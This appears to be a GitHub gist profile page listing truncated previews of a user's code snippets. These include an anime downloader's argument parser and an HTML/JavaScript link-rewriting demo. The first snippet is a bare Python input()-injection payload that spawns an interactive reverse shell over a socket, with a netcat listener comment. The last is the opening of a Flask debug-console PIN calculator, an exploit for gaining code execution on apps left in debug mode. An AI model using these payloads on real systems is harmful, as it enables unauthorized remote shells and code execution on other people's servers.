Skip to content

Instantly share code, notes, and snippets.

View GreeeenApple's full-sized avatar
🏠
Working from home

GreenApple GreeeenApple

🏠
Working from home
View GitHub Profile
## nc -l 8080
## >>> input()
__import__("os").system("""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("localhost",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""")
import requests
import argparse
import os
parser = argparse.ArgumentParser(description="Anitube Downloader")
parser.add_argument("url", nargs="*",
help="anitube url(list). example:http://a http://b")
parser.add_argument("--path", type=str,
default="/home/{user}/Videos/".format(user=os.environ["USERNAME"]),
help="videos save path. default:/home/user/Videos/")
<html>
<body>
<div id="hoge">
<!-- ここにタグ文字がエスケープされた(>や<は&gtや&lt)任意の文字列が入れられる -->
</div>
<script>
function f(){
var txt = document.getElementById("hoge").innerHTML;
txt = txt.replace(/(http:\/\/[\x21-\x7e]+)/gi, '<a href="http://redirect.com/$1" onmousedown="f=' + "'1'" + ';" target=\"_b\">$1</a>');
txt = txt.replace(/(https:\/\/[\x21-\x7e]+)/gi, '<a href="http://redirect.com/$1" onmousedown="f=' + "'1'" + ';" target=\"_b\">$1</a>');
@GreeeenApple
GreeeenApple / flask_pin_calc.py
Last active June 1, 2023 01:31
python 3.10 flask app pin generator
import hashlib
from itertools import chain
probably_public_bits = [
"user", # exec username
"flask.app", # default
"wsgi_app", # <= uvicorn, default "Flask"
"/venv/lib/python3.10/site-packages/flask/app.py" # app.py or app.pyc
]